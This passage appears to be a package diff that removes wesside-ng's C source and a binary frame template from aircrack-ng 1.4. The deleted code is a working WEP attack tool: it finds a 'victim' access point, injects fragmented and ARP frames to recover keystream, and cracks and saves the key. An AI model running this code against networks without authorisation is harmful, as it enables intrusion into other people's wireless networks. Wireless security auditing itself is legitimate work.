-	seqptr = (unsigned short *) wh->i_seq;
-	seq = (le16toh(*seqptr) & IEEE80211_SEQ_SEQ_MASK)
-		  >> IEEE80211_SEQ_SEQ_SHIFT;
-	if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY)
-		&& type != IEEE80211_FC0_TYPE_CTL)
-	{
-		//		printf("Ignoring dup packet... seq=%d\n", seq);
-		return;
-	}
-	lastseq = seq;
-
-	// management frame
-	if (type == IEEE80211_FC0_TYPE_MGT)
-	{
-		if (ws->ws_state == FIND_VICTIM)
-		{
-			if (stype == IEEE80211_FC0_SUBTYPE_BEACON
-				|| stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP)
-			{
-
-				if (get_victim_ssid(ws, wh, rd))
-				{
-					return;
-				}
-			}
-		}
-	}
-
-	if (ws->ws_state >= FOUND_VICTIM)
-	{
-		// stuff for us
-		if (for_us)
-		{
-			stuff_for_us(ws, wh, rd);
-		}
-
-		// stuff in network [even for us]
-		if (((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
-			 && (memcmp(ws->ws_bss, wh->i_addr1, 6) == 0))
-			||
-
-			((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
-			 && (memcmp(ws->ws_bss, wh->i_addr2, 6) == 0)))
-		{
-			stuff_for_net(ws, wh, rd);
-		}
-	}
-}
-
-static void do_arp(unsigned char * buf,
-				   unsigned short op,
-				   unsigned char * m1,
-				   char * i1,
-				   unsigned char * m2,
-				   char * i2)
-{
-	struct in_addr sip;
-	struct in_addr dip;
-	struct arphdr * h;
-	unsigned char * data;
-
-	inet_aton(i1, &sip);
-	inet_aton(i2, &dip);
-	h = (struct arphdr *) buf;
-
-	memset(h, 0, sizeof(*h));
-
-	h->ar_hrd = htons(ARPHRD_ETHER);
-	h->ar_pro = htons(ETHERTYPE_IP);
-	h->ar_hln = 6;
-	h->ar_pln = 4;
-	h->ar_op = htons(op);
-
-	data = (unsigned char *) h + sizeof(*h);
-
-	memcpy(data, m1, 6);
-	data += 6;
-	memcpy(data, &sip, 4);
-	data += 4;
-
-	memcpy(data, m2, 6);
-	data += 6;
-	memcpy(data, &dip, 4);
-	data += 4;
-}
-
-static void
-send_fragment(struct wstate * ws, struct frag_state * fs, struct prga_info * pi)
-{
-	unsigned char buf[4096];
-	struct ieee80211_frame * wh;
-	unsigned char * body;
-	int fragsize;
-	uLong crc;
-	unsigned int * pcrc;
-	int i;
-	unsigned short * seq;
-	unsigned short sn, fn;
-
-	wh = (struct ieee80211_frame *) buf;
-	memcpy(wh, &fs->fs_wh, sizeof(*wh));
-
-	body = (unsigned char *) wh + sizeof(*wh);
-	memcpy(body, &pi->pi_iv, 3);
-	body += 3;
-	*body++ = 0; // key index
-
-	fragsize = fs->fs_data + fs->fs_len - fs->fs_ptr;
-
-	assert(fragsize > 0);
-
-	if ((fragsize + 4) > pi->pi_len)
-	{
-		fragsize = pi->pi_len - 4;
-		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
-	}
-	// last fragment
-	else
-	{
-		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
-	}
-
-	memcpy(body, fs->fs_ptr, fragsize);
-
-	crc = crc32(0L, Z_NULL, 0);
-	crc = crc32(crc, body, fragsize);
-	pcrc = (unsigned int *) (body + fragsize);
-	*pcrc = htole32(crc);
-
-	for (i = 0; fragsize < (INT_MAX - 4) && i < (fragsize + 4); i++)
-		body[i] ^= pi->pi_prga[i];
-
-	seq = (unsigned short *) &wh->i_seq;
-	sn = (le16toh(*seq) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
-	fn = le16toh(*seq) & IEEE80211_SEQ_FRAG_MASK;
-	//	printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
-
-	send_frame(ws, buf, sizeof(*wh) + 4 + fragsize + 4);
-
-	seq = (unsigned short *) &fs->fs_wh.i_seq;
-	*seq = fnseq(++fn, sn);
-	fs->fs_ptr += fragsize;
-
-	if (fs->fs_ptr - fs->fs_data == fs->fs_len)
-	{
-		//		printf("Finished sending frags...\n");
-		fs->fs_waiting_relay = 1;
-	}
-}
-
-static void
-prepare_fragstate(struct wstate * ws, struct frag_state * fs, int pad)
-{
-	fs->fs_waiting_relay = 0;
-	fs->fs_len = 8 + 8 + 20 + pad;
-	fs->fs_data = (unsigned char *) malloc(fs->fs_len);
-
-	if (!fs->fs_data)
-	{
-		perror("malloc()");
-		exit(1);
-	}
-
-	fs->fs_ptr = fs->fs_data;
-
-	do_llc(fs->fs_data, ETHERTYPE_ARP);
-	do_arp(&fs->fs_data[8],
-		   ARPOP_REQUEST,
-		   ws->ws_mymac,
-		   ws->ws_myip,
-		   (unsigned char *) "\x00\x00\x00\x00\x00\x00",
-		   "192.168.0.1");
-
-	memset(&fs->fs_wh, 0, sizeof(fs->fs_wh));
-	fill_basic(ws, &fs->fs_wh);
-
-	memset(fs->fs_wh.i_addr3, 0xff, 6);
-	fs->fs_wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
-	fs->fs_wh.i_fc[1]
-		|= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_WEP;
-
-	memset(&fs->fs_data[8 + 8 + 20], 0, pad);
-}
-
-static void discover_prga(struct wstate * ws)
-{
-	// create packet...
-	if (!ws->ws_fs.fs_data)
-	{
-		int pad = 0;
-
-		if (ws->ws_pi.pi_len >= 20) pad = ws->ws_pi.pi_len * 3;
-
-		prepare_fragstate(ws, &ws->ws_fs, pad);
-	}
-
-	if (!ws->ws_fs.fs_waiting_relay)
-	{
-		send_fragment(ws, &ws->ws_fs, &ws->ws_pi);
-		if (ws->ws_fs.fs_waiting_relay)
-		{
-			if (gettimeofday(&ws->ws_fs.fs_last, NULL) == -1)
-				err(1, "gettimeofday()");
-		}
-	}
-}
-
-static void decrypt(struct wstate * ws)
-{
-	// gotta initiate
-	if (!ws->ws_dfs.fs_data)
-	{
-		prepare_fragstate(ws, &ws->ws_dfs, 0);
-
-		memcpy(ws->ws_dfs.fs_wh.i_addr3, MCAST_PREF, 5);
-
-		ws->ws_dfs.fs_wh.i_addr3[5] = ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len - 1];
-
-		ws->ws_dpi.pi_len++;
-	}
-
-	// guess diff prga byte...
-	if (ws->ws_dfs.fs_waiting_relay)
-	{
-		unsigned short seq;
-		ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len - 1]++;
-
-		ws->ws_dfs.fs_wh.i_addr3[5] = ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len - 1];
-
-		ws->ws_dfs.fs_waiting_relay = 0;
-		ws->ws_dfs.fs_ptr = ws->ws_dfs.fs_data;
-
-		seq = fnseq(0, ws->ws_psent);
-		ws->ws_dfs.fs_wh.i_seq[0] = (u_int8_t)(seq >> 8);
-		ws->ws_dfs.fs_wh.i_seq[1] = (u_int8_t)(seq % 256);
-		// seq = (unsigned short*) &ws->ws_dfs.fs_wh.i_seq;
-		//*seq = fnseq(0, ws->ws_psent);
-	}
-
-	send_fragment(ws, &ws->ws_dfs, &ws->ws_dpi);
-}
-
-static void send_arp(struct wstate * ws,
-					 unsigned short op,
-					 char * srcip,
-					 unsigned char * srcmac,
-					 char * dstip,
-					 unsigned char * dstmac)
-{
-	static unsigned char arp_pkt[128];
-	unsigned char * body;
-	unsigned char * ptr;
-	struct ieee80211_frame * wh;
-	int arp_len;
-
-	memset(arp_pkt, 0, sizeof(arp_pkt));
-
-	// construct ARP
-	wh = (struct ieee80211_frame *) arp_pkt;
-	fill_basic(ws, wh);
-
-	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
-	wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
-	memset(wh->i_addr3, 0xff, 6);
-
-	body = (unsigned char *) wh + sizeof(*wh);
-	ptr = body;
-	ptr += 4; // iv
-
-	do_llc(ptr, ETHERTYPE_ARP);
-	ptr += 8;
-	do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
-
-	wepify(ws, body, 8 + 8 + 20);
-	arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
-	assert(arp_len < (int) sizeof(arp_pkt));
-
-	send_frame(ws, arp_pkt, arp_len);
-}
-
-static int find_mac(struct wstate * ws)
-{
-	if (!(ws->ws_netip && !ws->ws_rtrmac)) return 0;
-
-	if (gettimeofday(&ws->ws_arpsend, NULL) == -1) err(1, "gettimeofday()");
-
-	time_print("Sending arp request for: %s\n", ws->ws_netip);
-	send_arp(ws,
-			 ARPOP_REQUEST,
-			 ws->ws_myip,
-			 ws->ws_mymac,
-			 ws->ws_netip,
-			 (unsigned char *) "\x00\x00\x00\x00\x00\x00");
-
-	// XXX lame
-	ws->ws_rtrmac = (unsigned char *) 1;
-
-	return 1;
-}
-
-static int flood(struct wstate * ws)
-{
-	if (!(ws->ws_rtrmac > (unsigned char *) 1 && ws->ws_netip)) return 0;
-
-	// could ping broadcast....
-	send_arp(ws,
-			 ARPOP_REQUEST,
-			 ws->ws_myip,
-			 ws->ws_mymac,
-			 ws->ws_netip,
-			 (unsigned char *) "\x00\x00\x00\x00\x00\x00");
-
-	return 1;
-}
-
-static void can_write(struct wstate * ws)
-{
-	switch (ws->ws_state)
-	{
-		case FOUND_VICTIM:
-			send_auth(ws);
-			ws->ws_state = SENDING_AUTH;
-			break;
-
-		case GOT_AUTH:
-			send_assoc(ws);
-			ws->ws_state = SENDING_ASSOC;
-			break;
-
-		case GOT_ASSOC:
-			if (ws->ws_pi.pi_prga && ws->ws_pi.pi_len < ws->ws_min_prga)
-			{
-				discover_prga(ws);
-				break;
-			}
-
-			if (ws->ws_cipher)
-			{
-				decrypt(ws);
-				break;
-			}
-
-			if (!ws->ws_pi.pi_prga) break;
-
-			// try to find rtr mac addr
-			if (find_mac(ws)) break;
-
-			// need to generate traffic...
-			if (flood(ws)) break;
-
-			break;
-	}
-}
-
-static void save_key(unsigned char * key, int len)
-{
-	char tmp[16];
-	char k[64];
-	int fd;
-	int rd;
-
-	assert(len * 3 < (int) sizeof(k));
-
-	k[0] = 0;
-	while (len--)
-	{
-		snprintf(tmp, 3, "%.2X", *key++);
-		strncat(k, tmp, 2);
-		if (len) strncat(k, ":", 2);
-	}
-
-	fd = open(
-		KEY_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
-	if (fd == -1) err(1, "open()");
-
-	printf("\nKey: %s\n", k);
-	rd = write(fd, k, strlen(k));
-	if (rd == -1) err(1, "write()");
-	if (rd != (int) strlen(k)) errx(1, "write %d/%d\n", rd, (int) strlen(k));
-	close(fd);
-}
-
-static int do_crack(struct wstate * ws)
-{
-	unsigned char key[PTW_KEYHSBYTES];
-	int(*all)[256];
-	int i, j;
-
-	all = malloc(32 * sizeof(int[256]));
-	if (all == NULL)
-	{
-		return 1;
-	}
-
-	// initial setup (complete keyspace)
-	for (i = 0; i < 32; i++)
-	{
-		for (j = 0; j < 256; j++)
-		{
-			all[i][j] = 1;
-		}
-	}
-
-	if (PTW_computeKey(ws->ws_ptw, key, 13, KEYLIMIT, PTW_DEFAULTBF, all, 0)
-		== 1)
-	{
-		save_key(key, 13);
-		free(all);
-		return 1;
-	}
-	if (PTW_computeKey(ws->ws_ptw, key, 5, KEYLIMIT / 10, PTW_DEFAULTBF, all, 0)
-		== 1)
-	{
-		save_key(key, 5);
-		free(all);
-		return 1;
-	}
-
-	free(all);
-	return 0;
-}
-
-static void sigchild(int x)
-{
-	struct wstate * ws;
-
-	if (x)
-	{
-	} /* XXX unused */
-
-	ws = get_ws();
-	ws->ws_crack_pid = 0; /* crack done */
-}
-
-static void try_crack(struct wstate * ws)
-{
-	if (ws->ws_crack_pid)
-	{
-		printf("\n");
-		time_print("Warning... previous crack still running!\n");
-		kill_crack(ws);
-	}
-
-	if (ws->ws_fd)
-	{
-		if (fsync(ws->ws_fd) == -1) err(1, "fsync");
-	}
-
-	ws->ws_crack_pid = fork();
-
-	if (ws->ws_crack_pid == -1) err(1, "fork");
-
-	// child
-	if (ws->ws_crack_pid == 0)
-	{
-		if (!do_crack(ws))
-		{
-			printf("\n");
-			time_print("Crack unsuccessful\n");
-		}
-		exit(1);
-	}
-
-	// parent
-	printf("\n");
-	time_print("Starting crack PID=%d\n", ws->ws_crack_pid);
-	if (gettimeofday(&ws->ws_crack_start, NULL) == -1) err(1, "gettimeofday");
-
-	ws->ws_wep_thresh += ws->ws_thresh_incr;
-}
-
-static int elapsedd(struct timeval * past, struct timeval * now)
-{
-	int el;
-	int inf = 666 * 1000 * 1000;
-
-	el = now->tv_sec - past->tv_sec;
-
-	if (el == 0)
-	{
-		el = now->tv_usec - past->tv_usec;
-	}
-	else
-	{
-		el = (el - 1) * 1000 * 1000;
-		el += 1000 * 1000 - past->tv_usec;
-		el += now->tv_usec;
-	}
-
-	if (el < 0) return inf;
-
-	return el;
-}
-
-static int read_packet(struct wstate * ws, unsigned char * dst, int len)
-{
-	return wi_read(ws->ws_wi, dst, len, NULL);
-}
-
-static void open_wepfile(struct wstate * ws)
-{
-	ws->ws_fd = open(WEP_FILE, O_WRONLY | O_APPEND);
-	if (ws->ws_fd == -1)
-	{
-		struct pcap_file_header pfh;
-
-		memset(&pfh, 0, sizeof(pfh));
-		pfh.magic = TCPDUMP_MAGIC;
-		pfh.version_major = PCAP_VERSION_MAJOR;
-		pfh.version_minor = PCAP_VERSION_MINOR;
-		pfh.thiszone = 0;
-		pfh.sigfigs = 0;
-		pfh.snaplen = 65535;
-		pfh.linktype = LINKTYPE_IEEE802_11;
-
-		ws->ws_fd = open(WEP_FILE,
-						 O_WRONLY | O_CREAT,
-						 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
-		if (ws->ws_fd != -1)
-		{
-			if (write(ws->ws_fd, &pfh, sizeof(pfh)) != sizeof(pfh))
-				err(1, "write()");
-		}
-	}
-	else
-	{
-		time_print("WARNING: Appending in %s\n", WEP_FILE);
-	}
-
-	if (ws->ws_fd == -1) err(1, "open()");
-}
-
-static void load_prga(struct wstate * ws)
-{
-	int fd, rd;
-	unsigned char buf[4096];
-
-	fd = open(PRGA_FILE, O_RDONLY);
-	if (fd != -1)
-	{
-		time_print("WARNING: reading prga from %s\n", PRGA_FILE);
-		rd = read(fd, buf, sizeof(buf));
-		if (rd == -1)
-		{
-			perror("read()");
-			exit(1);
-		}
-		if (rd >= 8)
-		{
-			set_prga(ws, buf, NULL, &buf[3], rd - 3);
-		}
-
-		close(fd);
-	}
-}
-
-static void check_relay_timeout(struct wstate * ws, struct timeval * now)
-{
-	int el;
-
-	if (!ws->ws_fs.fs_waiting_relay) return;
-
-	el = elapsedd(&ws->ws_fs.fs_last, now);
-
-	if (el > (1500 * 1000))
-	{
-		//		printf("\nLAMER timeout\n\n");
-		free(ws->ws_fs.fs_data);
-		ws->ws_fs.fs_data = 0;
-	}
-}
-
-static void check_arp_timeout(struct wstate * ws, struct timeval * now)
-{
-	int el;
-	if (ws->ws_rtrmac != (unsigned char *) 1) return;
-
-	el = elapsedd(&ws->ws_arpsend, now);
-	if (el >= (1500 * 1000))
-	{
-		ws->ws_rtrmac = 0;
-	}
-}
-
-static void display_status_bar(struct wstate * ws,
-							   struct timeval * now,
-							   struct timeval * last_status,
-							   char * pbarp)
-{
-	int el;
-
-	el = elapsedd(last_status, now);
-	if (el < 100 * 1000) return;
-
-	if (ws->ws_crack_pid) check_key(ws);
-
-	if (ws->ws_netip && ws->ws_pi.pi_len >= ws->ws_min_prga
-		&& ws->ws_rtrmac > (unsigned char *) 1)
-	{
-		time_print("WEP=%.9d (next crack at %d) "
-				   "IV=%.2x:%.2x:%.2x (rate=%d)            \r",
-				   ws->ws_packets,
-				   ws->ws_wep_thresh,
-				   ws->ws_iv[0],
-				   ws->ws_iv[1],
-				   ws->ws_iv[2],
-				   ws->ws_rate);
-	}
-	else
-	{
-		if (ws->ws_state == FIND_VICTIM)
-		{
-			time_print("Chan %.02d %c\r", ws->ws_chan, *pbarp);
-		}
-		else if (ws->ws_cipher)
-		{
-			int pos = ws->ws_dpi.pi_len - 1;
-			unsigned char prga = ws->ws_dpi.pi_prga[pos];
-
-			assert(pos);
-
-			time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
-					   prga,
-					   ws->ws_cipher[pos] ^ prga);
-		}
-		else
-			time_print("%c\r", *pbarp);
-	}
-
-	fflush(stdout);
-
-	memcpy(last_status, now, sizeof(*last_status));
-}
-
-static void check_tx(struct wstate * ws, struct timeval * now)
-{
-	int elapsed;
-
-	if (!ws->ws_waiting_ack) return;
-
-	elapsed = elapsedd(&ws->ws_tsent, now);
-	if (elapsed >= (int) ws->ws_ack_timeout) send_frame(ws, NULL, -1);
-}
-
-static void check_hop(struct wstate * ws, struct timeval * now)
-{
-	int elapsed;
-	int chan = ws->ws_chan;
-
-	elapsed = elapsedd(&ws->ws_lasthop, now);
-
-	if (elapsed < 300 * 1000) return;
-
-	chan++;
-	if (chan > ws->ws_max_chan) chan = 1;
-
-	set_chan(ws, chan);
-	memcpy(&ws->ws_lasthop, now, sizeof(ws->ws_lasthop));
-}
-
-static void post_input(struct wstate * ws, struct timeval * now)
-{
-	int el;
-
-	// check state and what we do next.
-	if (ws->ws_state == FIND_VICTIM)
-	{
-		check_hop(ws, now);
-		return;
-	}
-
-	// check if we need to write something...
-	if (!ws->ws_waiting_ack) can_write(ws);
-
-	el = elapsedd(&ws->ws_last_wcount, now);
-
-	/* calculate rate, roughtly */
-	if (el < 1 * 1000 * 1000) return;
-
-	ws->ws_rate = ws->ws_packets - ws->ws_last_wep_count;
-	ws->ws_last_wep_count = ws->ws_packets;
-
-	memcpy(&ws->ws_last_wcount, now, sizeof(ws->ws_last_wcount));
-
-	if (ws->ws_wep_thresh != -1
-		&& ws->ws_packets > (unsigned int) ws->ws_wep_thresh)
-		try_crack(ws);
-}
-
-static void do_input(struct wstate * ws)
-{
-	unsigned char buf[4096];
-	int rd;
-
-	rd = read_packet(ws, buf, sizeof(buf));
-	if (rd == 0) return;
-	if (rd == -1)
-	{
-		perror("read()");
-		exit(1);
-	}
-
-	// input
-	anal(ws, buf, rd);
-}
-
-static void own(struct wstate * ws)
-{
-	int rd;
-	fd_set rfd;
-	struct timeval tv;
-	char * pbar = "/-\\|";
-	char * pbarp = &pbar[0];
-	struct timeval now;
-	struct timeval last_status;
-	int largest;
-	int wifd;
-
-	wifd = wi_fd(ws->ws_wi);
-
-	open_wepfile(ws);
-	load_prga(ws);
-
-	largest = wi_fd(ws->ws_wi);
-
-	if (signal(SIGINT, &cleanup) == SIG_ERR)
-	{
-		perror("signal()");
-		exit(1);
-	}
-	if (signal(SIGTERM, &cleanup) == SIG_ERR)
-	{
-		perror("signal()");
-		exit(1);
-	}
-	if (signal(SIGCHLD, &sigchild) == SIG_ERR)
-	{
-		perror("signal()");
-		exit(1);
-	}
-
-	time_print("Looking for a victim...\n");
-
-	if (gettimeofday(&ws->ws_lasthop, NULL) == -1)
-	{
-		perror("gettimeofday()");
-		exit(1);
-	}
-	memcpy(&ws->ws_last_wcount, &ws->ws_lasthop, sizeof(ws->ws_last_wcount));
-	memcpy(&last_status, &ws->ws_lasthop, sizeof(last_status));
-
-	while (1)
-	{
-		if (gettimeofday(&now, NULL) == -1)
-		{
-			perror("gettimeofday()");
-			exit(1);
-		}
-
-		/* check for relay timeout */
-		check_relay_timeout(ws, &now);
-
-		/* check for arp timeout */
-		check_arp_timeout(ws, &now);
-
-		// status bar
-		display_status_bar(ws, &now, &last_status, pbarp);
-
-		// check if we are cracking
-		if (ws->ws_crack_pid)
-		{
-			if ((now.tv_sec - ws->ws_crack_start.tv_sec) >= ws->ws_crack_dur)
-				kill_crack(ws);
-		}
-
-		// check TX / retransmit
-		check_tx(ws, &now);
-
-		// INPUT
-		// select
-		FD_ZERO(&rfd);
-		FD_SET(wifd, &rfd);
-		tv.tv_sec = 0;
-		tv.tv_usec = 1000 * 10;
-
-		rd = select(largest + 1, &rfd, NULL, NULL, &tv);
-		if (rd == -1)
-		{
-			switch (errno)
-			{
-				case EINTR: /* handle SIGCHLD */
-					break;
-				default:
-					perror("select()");
-					exit(1);
-					break;
-			}
-		}
-
-		// read
-		if (rd != 0 && FD_ISSET(wifd, &rfd))
-		{
-			/* update status */
-			pbarp++;
-			if (!(*pbarp)) pbarp = &pbar[0];
-
-			do_input(ws);
-		}
-
-		post_input(ws, &now);
-	}
-}
-
-static void start(struct wstate * ws, char * dev)
-{
-	struct wif * wi;
-
-	ws->ws_wi = wi = wi_open(dev);
-	if (!wi) err(1, "wi_open(%s)", dev);
-
-	if (!ws->ws_have_mac)
-	{
-		if (wi_get_mac(wi, ws->ws_mymac) == -1) printf("Can't get mac\n");
-	}
-	else
-	{
-		if (wi_set_mac(wi, ws->ws_mymac) == -1) printf("Can't set mac\n");
-	}
-	time_print("Using mac %s\n", mac2str(ws->ws_mymac));
-
-	ws->ws_ptw = PTW_newattackstate();
-	if (!ws->ws_ptw) err(1, "PTW_newattackstate()");
-
-	own(ws);
-
-	wi_close(wi);
-}
-
-static void usage(char * pname)
-{
-	if (pname)
-	{
-	}
-	char * version_info
-		= getVersion("Wesside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
-	printf("\n"
-		   "  %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
-		   "  https://www.aircrack-ng.org\n"
-		   "\n"
-		   "  Usage: wesside-ng <options>\n"
-		   "\n"
-		   "  Options:\n"
-		   "\n"
-		   "       -h              : This help screen\n"
-		   "       -i      <iface> : Interface to use (mandatory)\n"
-		   "       -m      <my ip> : My IP address\n"
-		   "       -n     <net ip> : Network IP address\n"
-		   "       -a      <mymac> : Source MAC Address\n"
-		   "       -c              : Do not crack the key\n"
-		   "       -p   <min prga> : Minimum bytes of PRGA to gather\n"
-		   "       -v <victim mac> : Victim BSSID\n"
-		   "       -t  <threshold> : Cracking threshold\n"
-		   "       -f   <max chan> : Highest scanned chan (default: 11)\n"
-		   "       -k      <txnum> : Ignore acks and tx txnum times\n"
-		   "\n",
-		   version_info);
-	free(version_info);
-	exit(0);
-}
-
-static void str2mac(unsigned char * dst, char * mac)
-{
-	unsigned int macf[6];
-	int i;
-
-	if (sscanf(mac,
-			   "%x:%x:%x:%x:%x:%x",
-			   &macf[0],
-			   &macf[1],
-			   &macf[2],
-			   &macf[3],
-			   &macf[4],
-			   &macf[5])
-		!= 6)
-	{
-
-		printf("can't parse mac %s\n", mac);
-		exit(1);
-	}
-
-	for (i = 0; i < 6; i++) *dst++ = (unsigned char) macf[i];
-}
-
-static void init_defaults(struct wstate * ws)
-{
-	memset(ws, 0, sizeof(*ws));
-
-	ws->ws_state = FIND_VICTIM;
-	ws->ws_max_chan = 11;
-	memcpy(ws->ws_mymac, "\x00\x00\xde\xfa\xce\x0d", 6);
-	ws->ws_have_mac = 0;
-	strncpy(ws->ws_myip, "192.168.0.123", sizeof(ws->ws_myip) - 1);
-	ws->ws_ack_timeout = 100 * 1000;
-	ws->ws_min_prga = 128;
-	ws->ws_wep_thresh = ws->ws_thresh_incr = 10000;
-	ws->ws_crack_dur = 60;
-}
-
-int main(int argc, char * argv[])
-{
-	struct wstate * ws = get_ws();
-	int ch;
-	unsigned char vic[6];
-	char * dev = "IdidNotSpecifyAnInterface";
-
-	assert(ws);
-	init_defaults(ws);
-
-	if (gettimeofday(&ws->ws_real_start, NULL) == -1)
-	{
-		perror("gettimeofday()");
-		exit(1);
-	}
-
-	while ((ch = getopt(argc, argv, "hi:m:a:n:cp:v:t:f:k:")) != -1)
-	{
-		switch (ch)
-		{
-			case 'k':
-				ws->ws_ignore_ack = atoi(optarg);
-				break;
-
-			case 'a':
-				str2mac(ws->ws_mymac, optarg);
-				ws->ws_have_mac = 1;
-				break;
-
-			case 'i':
-				dev = optarg;
-				break;
-
-			case 'm':
-				strncpy(ws->ws_myip, optarg, sizeof(ws->ws_myip) - 1);
-				ws->ws_myip[sizeof(ws->ws_myip) - 1] = 0;
-				break;
-
-			case 'n':
-				ws->ws_netip = optarg;
-				break;
-
-			case 'v':
-				str2mac(vic, optarg);
-				ws->ws_victim_mac = vic;
-				break;
-
-			case 'c':
-				ws->ws_wep_thresh = -1;
-				break;
-
-			case 'p':
-				ws->ws_min_prga = atoi(optarg);
-				break;
-
-			case 't':
-				ws->ws_thresh_incr = ws->ws_wep_thresh = atoi(optarg);
-				break;
-
-			case 'f':
-				ws->ws_max_chan = atoi(optarg);
-				break;
-
-			default:
-				usage(argv[0]);
-				break;
-		}
-	}
-
-	if (argc > 1)
-		start(ws, dev);
-	else
-		usage(argv[0]);
-
-	cleanup(0);
-	exit(0);
-}

aircrack-ng-1.4.tar.gz/src/wkp-frame.h Deleted

@@ -1,256 +0,0 @@
-/*
- *  Elcomsoft Wireless Security Auditor (EWSA) Project File's Frame (3.02)
- *
- *  Copyright (C) 2010 ZhaoChunsheng
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#define WKP_FRAME_LENGTH 2622
-
-char wkp_frame[WKP_FRAME_LENGTH]
-	= {0x43, 0x50, 0x57, 0x45, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
-	   0x01, 0x00, 0x00, 0x00, 0x80, 0x06, 0x00, 0x00, 0x80, 0x06, 0x00, 0x00,
-	   0xc2, 0xe6, 0x8f, 0x1a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
